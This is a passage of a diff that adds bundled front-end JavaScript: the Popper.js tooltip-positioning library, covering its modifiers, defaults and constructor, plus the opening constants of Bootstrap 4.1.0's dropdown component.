+      case BEHAVIORS.CLOCKWISE:
+        flipOrder = clockwise(placement);
+        break;
+      case BEHAVIORS.COUNTERCLOCKWISE:
+        flipOrder = clockwise(placement, true);
+        break;
+      default:
+        flipOrder = options.behavior;
+    }
+
+    flipOrder.forEach(function (step, index) {
+      if (placement !== step || flipOrder.length === index + 1) {
+        return data;
+      }
+
+      placement = data.placement.split('-')[0];
+      placementOpposite = getOppositePlacement(placement);
+
+      var popperOffsets = data.offsets.popper;
+      var refOffsets = data.offsets.reference;
+
+      // using floor because the reference offsets may contain decimals we are not going to consider here
+      var floor = Math.floor;
+      var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);
+
+      var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);
+      var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);
+      var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);
+      var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);
+
+      var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;
+
+      // flip the variation if required
+      var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;
+      var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);
+
+      if (overlapsRef || overflowsBoundaries || flippedVariation) {
+        // this boolean to detect any flip loop
+        data.flipped = true;
+
+        if (overlapsRef || overflowsBoundaries) {
+          placement = flipOrder[index + 1];
+        }
+
+        if (flippedVariation) {
+          variation = getOppositeVariation(variation);
+        }
+
+        data.placement = placement + (variation ? '-' + variation : '');
+
+        // this object contains `position`, we want to preserve it along with
+        // any additional property we may add in the future
+        data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));
+
+        data = runModifiers(data.instance.modifiers, data, 'flip');
+      }
+    });
+    return data;
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by update method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function keepTogether(data) {
+    var _data$offsets = data.offsets,
+        popper = _data$offsets.popper,
+        reference = _data$offsets.reference;
+
+    var placement = data.placement.split('-')[0];
+    var floor = Math.floor;
+    var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;
+    var side = isVertical ? 'right' : 'bottom';
+    var opSide = isVertical ? 'left' : 'top';
+    var measurement = isVertical ? 'width' : 'height';
+
+    if (popper[side] < floor(reference[opSide])) {
+      data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];
+    }
+    if (popper[opSide] > floor(reference[side])) {
+      data.offsets.popper[opSide] = floor(reference[side]);
+    }
+
+    return data;
+  }
+
+  /**
+   * Converts a string containing value + unit into a px value number
+   * @function
+   * @memberof {modifiers~offset}
+   * @private
+   * @argument {String} str - Value + unit string
+   * @argument {String} measurement - `height` or `width`
+   * @argument {Object} popperOffsets
+   * @argument {Object} referenceOffsets
+   * @returns {Number|String}
+   * Value in pixels, or original string if no values were extracted
+   */
+  function toValue(str, measurement, popperOffsets, referenceOffsets) {
+    // separate value from unit
+    var split = str.match(/((?:\-|\+)?\d*\.?\d*)(.*)/);
+    var value = +split[1];
+    var unit = split[2];
+
+    // If it's not a number it's an operator, I guess
+    if (!value) {
+      return str;
+    }
+
+    if (unit.indexOf('%') === 0) {
+      var element = void 0;
+      switch (unit) {
+        case '%p':
+          element = popperOffsets;
+          break;
+        case '%':
+        case '%r':
+        default:
+          element = referenceOffsets;
+      }
+
+      var rect = getClientRect(element);
+      return rect[measurement] / 100 * value;
+    } else if (unit === 'vh' || unit === 'vw') {
+      // if is a vh or vw, we calculate the size based on the viewport
+      var size = void 0;
+      if (unit === 'vh') {
+        size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);
+      } else {
+        size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);
+      }
+      return size / 100 * value;
+    } else {
+      // if is an explicit pixel unit, we get rid of the unit and keep the value
+      // if is an implicit unit, it's px, and we return just the value
+      return value;
+    }
+  }
+
+  /**
+   * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.
+   * @function
+   * @memberof {modifiers~offset}
+   * @private
+   * @argument {String} offset
+   * @argument {Object} popperOffsets
+   * @argument {Object} referenceOffsets
+   * @argument {String} basePlacement
+   * @returns {Array} a two cells array with x and y offsets in numbers
+   */
+  function parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {
+    var offsets = [0, 0];
+
+    // Use height if placement is left or right and index is 0 otherwise use width
+    // in this way the first offset will use an axis and the second one
+    // will use the other one
+    var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;
+
+    // Split the offset string to obtain a list of values and operands
+    // The regex addresses values with the plus or minus sign in front (+10, -20, etc)
+    var fragments = offset.split(/(\+|\-)/).map(function (frag) {
+      return frag.trim();
+    });
+
+    // Detect if the offset string contains a pair of values or a single one
+    // they could be separated by comma or space
+    var divider = fragments.indexOf(find(fragments, function (frag) {
+      return frag.search(/,|\s/) !== -1;
+    }));
+
+    if (fragments[divider] && fragments[divider].indexOf(',') === -1) {
+      console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');
+    }
+
+    // If divider is found, we divide the list of values and operands to divide
+    // them by ofset X and Y.
+    var splitRegex = /\s*,\s*|\s+/;
+    var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];
+
+    // Convert the values with units to absolute pixels to allow our computations
+    ops = ops.map(function (op, index) {
+      // Most of the units rely on the orientation of the popper
+      var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';
+      var mergeWithPrevious = false;
+      return op
+      // This aggregates any `+` or `-` sign that aren't considered operators
+      // e.g.: 10 + +5 => [10, +, +5]
+      .reduce(function (a, b) {
+        if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {
+          a[a.length - 1] = b;
+          mergeWithPrevious = true;
+          return a;
+        } else if (mergeWithPrevious) {
+          a[a.length - 1] += b;
+          mergeWithPrevious = false;
+          return a;
+        } else {
+          return a.concat(b);
+        }
+      }, [])
+      // Here we convert the string values into number values (in px)
+      .map(function (str) {
+        return toValue(str, measurement, popperOffsets, referenceOffsets);
+      });
+    });
+
+    // Loop trough the offsets arrays and execute the operations
+    ops.forEach(function (op, index) {
+      op.forEach(function (frag, index2) {
+        if (isNumeric(frag)) {
+          offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);
+        }
+      });
+    });
+    return offsets;
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by update method
+   * @argument {Object} options - Modifiers configuration and options
+   * @argument {Number|String} options.offset=0
+   * The offset value as described in the modifier description
+   * @returns {Object} The data object, properly modified
+   */
+  function offset(data, _ref) {
+    var offset = _ref.offset;
+    var placement = data.placement,
+        _data$offsets = data.offsets,
+        popper = _data$offsets.popper,
+        reference = _data$offsets.reference;
+
+    var basePlacement = placement.split('-')[0];
+
+    var offsets = void 0;
+    if (isNumeric(+offset)) {
+      offsets = [+offset, 0];
+    } else {
+      offsets = parseOffset(offset, popper, reference, basePlacement);
+    }
+
+    if (basePlacement === 'left') {
+      popper.top += offsets[0];
+      popper.left -= offsets[1];
+    } else if (basePlacement === 'right') {
+      popper.top += offsets[0];
+      popper.left += offsets[1];
+    } else if (basePlacement === 'top') {
+      popper.left += offsets[0];
+      popper.top -= offsets[1];
+    } else if (basePlacement === 'bottom') {
+      popper.left += offsets[0];
+      popper.top += offsets[1];
+    }
+
+    data.popper = popper;
+    return data;
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by `update` method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function preventOverflow(data, options) {
+    var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);
+
+    // If offsetParent is the reference element, we really want to
+    // go one step up and use the next offsetParent as reference to
+    // avoid to make this modifier completely useless and look like broken
+    if (data.instance.reference === boundariesElement) {
+      boundariesElement = getOffsetParent(boundariesElement);
+    }
+
+    var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);
+    options.boundaries = boundaries;
+
+    var order = options.priority;
+    var popper = data.offsets.popper;
+
+    var check = {
+      primary: function primary(placement) {
+        var value = popper[placement];
+        if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {
+          value = Math.max(popper[placement], boundaries[placement]);
+        }
+        return defineProperty({}, placement, value);
+      },
+      secondary: function secondary(placement) {
+        var mainSide = placement === 'right' ? 'left' : 'top';
+        var value = popper[mainSide];
+        if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {
+          value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));
+        }
+        return defineProperty({}, mainSide, value);
+      }
+    };
+
+    order.forEach(function (placement) {
+      var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';
+      popper = _extends({}, popper, check[side](placement));
+    });
+
+    data.offsets.popper = popper;
+
+    return data;
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by `update` method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function shift(data) {
+    var placement = data.placement;
+    var basePlacement = placement.split('-')[0];
+    var shiftvariation = placement.split('-')[1];
+
+    // if shift shiftvariation is specified, run the modifier
+    if (shiftvariation) {
+      var _data$offsets = data.offsets,
+          reference = _data$offsets.reference,
+          popper = _data$offsets.popper;
+
+      var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;
+      var side = isVertical ? 'left' : 'top';
+      var measurement = isVertical ? 'width' : 'height';
+
+      var shiftOffsets = {
+        start: defineProperty({}, side, reference[side]),
+        end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])
+      };
+
+      data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);
+    }
+
+    return data;
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by update method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function hide(data) {
+    if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {
+      return data;
+    }
+
+    var refRect = data.offsets.reference;
+    var bound = find(data.instance.modifiers, function (modifier) {
+      return modifier.name === 'preventOverflow';
+    }).boundaries;
+
+    if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {
+      // Avoid unnecessary DOM access if visibility hasn't changed
+      if (data.hide === true) {
+        return data;
+      }
+
+      data.hide = true;
+      data.attributes['x-out-of-boundaries'] = '';
+    } else {
+      // Avoid unnecessary DOM access if visibility hasn't changed
+      if (data.hide === false) {
+        return data;
+      }
+
+      data.hide = false;
+      data.attributes['x-out-of-boundaries'] = false;
+    }
+
+    return data;
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by `update` method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function inner(data) {
+    var placement = data.placement;
+    var basePlacement = placement.split('-')[0];
+    var _data$offsets = data.offsets,
+        popper = _data$offsets.popper,
+        reference = _data$offsets.reference;
+
+    var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;
+
+    var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;
+
+    popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);
+
+    data.placement = getOppositePlacement(placement);
+    data.offsets.popper = getClientRect(popper);
+
+    return data;
+  }
+
+  /**
+   * Modifier function, each modifier can have a function of this type assigned
+   * to its `fn` property.<br />
+   * These functions will be called on each update, this means that you must
+   * make sure they are performant enough to avoid performance bottlenecks.
+   *
+   * @function ModifierFn
+   * @argument {dataObject} data - The data object generated by `update` method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {dataObject} The data object, properly modified
+   */
+
+  /**
+   * Modifiers are plugins used to alter the behavior of your poppers.<br />
+   * Popper.js uses a set of 9 modifiers to provide all the basic functionalities
+   * needed by the library.
+   *
+   * Usually you don't want to override the `order`, `fn` and `onLoad` props.
+   * All the other properties are configurations that could be tweaked.
+   * @namespace modifiers
+   */
+  var modifiers = {
+    /**
+     * Modifier used to shift the popper on the start or end of its reference
+     * element.<br />
+     * It will read the variation of the `placement` property.<br />
+     * It can be one either `-end` or `-start`.
+     * @memberof modifiers
+     * @inner
+     */
+    shift: {
+      /** @prop {number} order=100 - Index used to define the order of execution */
+      order: 100,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: shift
+    },
+
+    /**
+     * The `offset` modifier can shift your popper on both its axis.
+     *
+     * It accepts the following units:
+     * - `px` or unitless, interpreted as pixels
+     * - `%` or `%r`, percentage relative to the length of the reference element
+     * - `%p`, percentage relative to the length of the popper element
+     * - `vw`, CSS viewport width unit
+     * - `vh`, CSS viewport height unit
+     *
+     * For length is intended the main axis relative to the placement of the popper.<br />
+     * This means that if the placement is `top` or `bottom`, the length will be the
+     * `width`. In case of `left` or `right`, it will be the height.
+     *
+     * You can provide a single value (as `Number` or `String`), or a pair of values
+     * as `String` divided by a comma or one (or more) white spaces.<br />
+     * The latter is a deprecated method because it leads to confusion and will be
+     * removed in v2.<br />
+     * Additionally, it accepts additions and subtractions between different units.
+     * Note that multiplications and divisions aren't supported.
+     *
+     * Valid examples are:
+     * ```
+     * 10
+     * '10%'
+     * '10, 10'
+     * '10%, 10'
+     * '10 + 10%'
+     * '10 - 5vh + 3%'
+     * '-10px + 5vh, 5px - 6%'
+     * ```
+     * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap
+     * > with their reference element, unfortunately, you will have to disable the `flip` modifier.
+     * > More on this [reading this issue](https://github.com/FezVrasta/popper.js/issues/373)
+     *
+     * @memberof modifiers
+     * @inner
+     */
+    offset: {
+      /** @prop {number} order=200 - Index used to define the order of execution */
+      order: 200,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: offset,
+      /** @prop {Number|String} offset=0
+       * The offset value as described in the modifier description
+       */
+      offset: 0
+    },
+
+    /**
+     * Modifier used to prevent the popper from being positioned outside the boundary.
+     *
+     * An scenario exists where the reference itself is not within the boundaries.<br />
+     * We can say it has "escaped the boundaries" — or just "escaped".<br />
+     * In this case we need to decide whether the popper should either:
+     *
+     * - detach from the reference and remain "trapped" in the boundaries, or
+     * - if it should ignore the boundary and "escape with its reference"
+     *
+     * When `escapeWithReference` is set to`true` and reference is completely
+     * outside its boundaries, the popper will overflow (or completely leave)
+     * the boundaries in order to remain attached to the edge of the reference.
+     *
+     * @memberof modifiers
+     * @inner
+     */
+    preventOverflow: {
+      /** @prop {number} order=300 - Index used to define the order of execution */
+      order: 300,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: preventOverflow,
+      /**
+       * @prop {Array} [priority=['left','right','top','bottom']]
+       * Popper will try to prevent overflow following these priorities by default,
+       * then, it could overflow on the left and on top of the `boundariesElement`
+       */
+      priority: ['left', 'right', 'top', 'bottom'],
+      /**
+       * @prop {number} padding=5
+       * Amount of pixel used to define a minimum distance between the boundaries
+       * and the popper this makes sure the popper has always a little padding
+       * between the edges of its container
+       */
+      padding: 5,
+      /**
+       * @prop {String|HTMLElement} boundariesElement='scrollParent'
+       * Boundaries used by the modifier, can be `scrollParent`, `window`,
+       * `viewport` or any DOM element.
+       */
+      boundariesElement: 'scrollParent'
+    },
+
+    /**
+     * Modifier used to make sure the reference and its popper stay near eachothers
+     * without leaving any gap between the two. Expecially useful when the arrow is
+     * enabled and you want to assure it to point to its reference element.
+     * It cares only about the first axis, you can still have poppers with margin
+     * between the popper and its reference element.
+     * @memberof modifiers
+     * @inner
+     */
+    keepTogether: {
+      /** @prop {number} order=400 - Index used to define the order of execution */
+      order: 400,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: keepTogether
+    },
+
+    /**
+     * This modifier is used to move the `arrowElement` of the popper to make
+     * sure it is positioned between the reference element and its popper element.
+     * It will read the outer size of the `arrowElement` node to detect how many
+     * pixels of conjuction are needed.
+     *
+     * It has no effect if no `arrowElement` is provided.
+     * @memberof modifiers
+     * @inner
+     */
+    arrow: {
+      /** @prop {number} order=500 - Index used to define the order of execution */
+      order: 500,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: arrow,
+      /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */
+      element: '[x-arrow]'
+    },
+
+    /**
+     * Modifier used to flip the popper's placement when it starts to overlap its
+     * reference element.
+     *
+     * Requires the `preventOverflow` modifier before it in order to work.
+     *
+     * **NOTE:** this modifier will interrupt the current update cycle and will
+     * restart it if it detects the need to flip the placement.
+     * @memberof modifiers
+     * @inner
+     */
+    flip: {
+      /** @prop {number} order=600 - Index used to define the order of execution */
+      order: 600,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: flip,
+      /**
+       * @prop {String|Array} behavior='flip'
+       * The behavior used to change the popper's placement. It can be one of
+       * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid
+       * placements (with optional variations).
+       */
+      behavior: 'flip',
+      /**
+       * @prop {number} padding=5
+       * The popper will flip if it hits the edges of the `boundariesElement`
+       */
+      padding: 5,
+      /**
+       * @prop {String|HTMLElement} boundariesElement='viewport'
+       * The element which will define the boundaries of the popper position,
+       * the popper will never be placed outside of the defined boundaries
+       * (except if keepTogether is enabled)
+       */
+      boundariesElement: 'viewport'
+    },
+
+    /**
+     * Modifier used to make the popper flow toward the inner of the reference element.
+     * By default, when this modifier is disabled, the popper will be placed outside
+     * the reference element.
+     * @memberof modifiers
+     * @inner
+     */
+    inner: {
+      /** @prop {number} order=700 - Index used to define the order of execution */
+      order: 700,
+      /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */
+      enabled: false,
+      /** @prop {ModifierFn} */
+      fn: inner
+    },
+
+    /**
+     * Modifier used to hide the popper when its reference element is outside of the
+     * popper boundaries. It will set a `x-out-of-boundaries` attribute which can
+     * be used to hide with a CSS selector the popper when its reference is
+     * out of boundaries.
+     *
+     * Requires the `preventOverflow` modifier before it in order to work.
+     * @memberof modifiers
+     * @inner
+     */
+    hide: {
+      /** @prop {number} order=800 - Index used to define the order of execution */
+      order: 800,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: hide
+    },
+
+    /**
+     * Computes the style that will be applied to the popper element to gets
+     * properly positioned.
+     *
+     * Note that this modifier will not touch the DOM, it just prepares the styles
+     * so that `applyStyle` modifier can apply it. This separation is useful
+     * in case you need to replace `applyStyle` with a custom implementation.
+     *
+     * This modifier has `850` as `order` value to maintain backward compatibility
+     * with previous versions of Popper.js. Expect the modifiers ordering method
+     * to change in future major versions of the library.
+     *
+     * @memberof modifiers
+     * @inner
+     */
+    computeStyle: {
+      /** @prop {number} order=850 - Index used to define the order of execution */
+      order: 850,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: computeStyle,
+      /**
+       * @prop {Boolean} gpuAcceleration=true
+       * If true, it uses the CSS 3d transformation to position the popper.
+       * Otherwise, it will use the `top` and `left` properties.
+       */
+      gpuAcceleration: true,
+      /**
+       * @prop {string} [x='bottom']
+       * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.
+       * Change this if your popper should grow in a direction different from `bottom`
+       */
+      x: 'bottom',
+      /**
+       * @prop {string} [x='left']
+       * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.
+       * Change this if your popper should grow in a direction different from `right`
+       */
+      y: 'right'
+    },
+
+    /**
+     * Applies the computed styles to the popper element.
+     *
+     * All the DOM manipulations are limited to this modifier. This is useful in case
+     * you want to integrate Popper.js inside a framework or view library and you
+     * want to delegate all the DOM manipulations to it.
+     *
+     * Note that if you disable this modifier, you must make sure the popper element
+     * has its position set to `absolute` before Popper.js can do its work!
+     *
+     * Just disable this modifier and define you own to achieve the desired effect.
+     *
+     * @memberof modifiers
+     * @inner
+     */
+    applyStyle: {
+      /** @prop {number} order=900 - Index used to define the order of execution */
+      order: 900,
+      /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
+      enabled: true,
+      /** @prop {ModifierFn} */
+      fn: applyStyle,
+      /** @prop {Function} */
+      onLoad: applyStyleOnLoad,
+      /**
+       * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier
+       * @prop {Boolean} gpuAcceleration=true
+       * If true, it uses the CSS 3d transformation to position the popper.
+       * Otherwise, it will use the `top` and `left` properties.
+       */
+      gpuAcceleration: undefined
+    }
+  };
+
+  /**
+   * The `dataObject` is an object containing all the informations used by Popper.js
+   * this object get passed to modifiers and to the `onCreate` and `onUpdate` callbacks.
+   * @name dataObject
+   * @property {Object} data.instance The Popper.js instance
+   * @property {String} data.placement Placement applied to popper
+   * @property {String} data.originalPlacement Placement originally defined on init
+   * @property {Boolean} data.flipped True if popper has been flipped by flip modifier
+   * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper.
+   * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier
+   * @property {Object} data.styles Any CSS property defined here will be applied to the popper, it expects the JavaScript nomenclature (eg. `marginBottom`)
+   * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow, it expects the JavaScript nomenclature (eg. `marginBottom`)
+   * @property {Object} data.boundaries Offsets of the popper boundaries
+   * @property {Object} data.offsets The measurements of popper, reference and arrow elements.
+   * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values
+   * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values
+   * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0
+   */
+
+  /**
+   * Default options provided to Popper.js constructor.<br />
+   * These can be overriden using the `options` argument of Popper.js.<br />
+   * To override an option, simply pass as 3rd argument an object with the same
+   * structure of this object, example:
+   * ```
+   * new Popper(ref, pop, {
+   *   modifiers: {
+   *     preventOverflow: { enabled: false }
+   *   }
+   * })
+   * ```
+   * @type {Object}
+   * @static
+   * @memberof Popper
+   */
+  var Defaults = {
+    /**
+     * Popper's placement
+     * @prop {Popper.placements} placement='bottom'
+     */
+    placement: 'bottom',
+
+    /**
+     * Set this to true if you want popper to position it self in 'fixed' mode
+     * @prop {Boolean} positionFixed=false
+     */
+    positionFixed: false,
+
+    /**
+     * Whether events (resize, scroll) are initially enabled
+     * @prop {Boolean} eventsEnabled=true
+     */
+    eventsEnabled: true,
+
+    /**
+     * Set to true if you want to automatically remove the popper when
+     * you call the `destroy` method.
+     * @prop {Boolean} removeOnDestroy=false
+     */
+    removeOnDestroy: false,
+
+    /**
+     * Callback called when the popper is created.<br />
+     * By default, is set to no-op.<br />
+     * Access Popper.js instance with `data.instance`.
+     * @prop {onCreate}
+     */
+    onCreate: function onCreate() {},
+
+    /**
+     * Callback called when the popper is updated, this callback is not called
+     * on the initialization/creation of the popper, but only on subsequent
+     * updates.<br />
+     * By default, is set to no-op.<br />
+     * Access Popper.js instance with `data.instance`.
+     * @prop {onUpdate}
+     */
+    onUpdate: function onUpdate() {},
+
+    /**
+     * List of modifiers used to modify the offsets before they are applied to the popper.
+     * They provide most of the functionalities of Popper.js
+     * @prop {modifiers}
+     */
+    modifiers: modifiers
+  };
+
+  /**
+   * @callback onCreate
+   * @param {dataObject} data
+   */
+
+  /**
+   * @callback onUpdate
+   * @param {dataObject} data
+   */
+
+  // Utils
+  // Methods
+  var Popper = function () {
+    /**
+     * Create a new Popper.js instance
+     * @class Popper
+     * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper
+     * @param {HTMLElement} popper - The HTML element used as popper.
+     * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)
+     * @return {Object} instance - The generated Popper.js instance
+     */
+    function Popper(reference, popper) {
+      var _this = this;
+
+      var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
+      classCallCheck(this, Popper);
+
+      this.scheduleUpdate = function () {
+        return requestAnimationFrame(_this.update);
+      };
+
+      // make update() debounced, so that it only runs at most once-per-tick
+      this.update = debounce(this.update.bind(this));
+
+      // with {} we create a new object with the options inside it
+      this.options = _extends({}, Popper.Defaults, options);
+
+      // init state
+      this.state = {
+        isDestroyed: false,
+        isCreated: false,
+        scrollParents: []
+      };
+
+      // get reference and popper elements (allow jQuery wrappers)
+      this.reference = reference && reference.jquery ? reference[0] : reference;
+      this.popper = popper && popper.jquery ? popper[0] : popper;
+
+      // Deep merge modifiers options
+      this.options.modifiers = {};
+      Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {
+        _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});
+      });
+
+      // Refactoring modifiers' list (Object => Array)
+      this.modifiers = Object.keys(this.options.modifiers).map(function (name) {
+        return _extends({
+          name: name
+        }, _this.options.modifiers[name]);
+      })
+      // sort the modifiers by order
+      .sort(function (a, b) {
+        return a.order - b.order;
+      });
+
+      // modifiers have the ability to execute arbitrary code when Popper.js get inited
+      // such code is executed in the same order of its modifier
+      // they could add new properties to their options configuration
+      // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!
+      this.modifiers.forEach(function (modifierOptions) {
+        if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {
+          modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);
+        }
+      });
+
+      // fire the first update to position the popper in the right place
+      this.update();
+
+      var eventsEnabled = this.options.eventsEnabled;
+      if (eventsEnabled) {
+        // setup event listeners, they will take care of update the position in specific situations
+        this.enableEventListeners();
+      }
+
+      this.state.eventsEnabled = eventsEnabled;
+    }
+
+    // We can't use class properties because they don't get listed in the
+    // class prototype and break stuff like Sinon stubs
+
+
+    createClass(Popper, [{
+      key: 'update',
+      value: function update$$1() {
+        return update.call(this);
+      }
+    }, {
+      key: 'destroy',
+      value: function destroy$$1() {
+        return destroy.call(this);
+      }
+    }, {
+      key: 'enableEventListeners',
+      value: function enableEventListeners$$1() {
+        return enableEventListeners.call(this);
+      }
+    }, {
+      key: 'disableEventListeners',
+      value: function disableEventListeners$$1() {
+        return disableEventListeners.call(this);
+      }
+
+      /**
+       * Schedule an update, it will run on the next UI update available
+       * @method scheduleUpdate
+       * @memberof Popper
+       */
+
+
+      /**
+       * Collection of utilities useful when writing custom modifiers.
+       * Starting from version 1.7, this method is available only if you
+       * include `popper-utils.js` before `popper.js`.
+       *
+       * **DEPRECATION**: This way to access PopperUtils is deprecated
+       * and will be removed in v2! Use the PopperUtils module directly instead.
+       * Due to the high instability of the methods contained in Utils, we can't
+       * guarantee them to follow semver. Use them at your own risk!
+       * @static
+       * @private
+       * @type {Object}
+       * @deprecated since version 1.8
+       * @member Utils
+       * @memberof Popper
+       */
+
+    }]);
+    return Popper;
+  }();
+
+  /**
+   * The `referenceObject` is an object that provides an interface compatible with Popper.js
+   * and lets you use it as replacement of a real DOM node.<br />
+   * You can use this method to position a popper relatively to a set of coordinates
+   * in case you don't have a DOM node to use as reference.
+   *
+   * ```
+   * new Popper(referenceObject, popperNode);
+   * ```
+   *
+   * NB: This feature isn't supported in Internet Explorer 10
+   * @name referenceObject
+   * @property {Function} data.getBoundingClientRect
+   * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.
+   * @property {number} data.clientWidth
+   * An ES6 getter that will return the width of the virtual reference element.
+   * @property {number} data.clientHeight
+   * An ES6 getter that will return the height of the virtual reference element.
+   */
+
+
+  Popper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;
+  Popper.placements = placements;
+  Popper.Defaults = Defaults;
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): dropdown.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Dropdown = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'dropdown';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.dropdown';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key
+
+    var SPACE_KEYCODE = 32; // KeyboardEvent.which value for space key
+
+    var TAB_KEYCODE = 9; // KeyboardEvent.which value for tab key
+
+    var ARROW_UP_KEYCODE = 38; // KeyboardEvent.which value for up arrow key
+
+    var ARROW_DOWN_KEYCODE = 40; // KeyboardEvent.which value for down arrow key
+
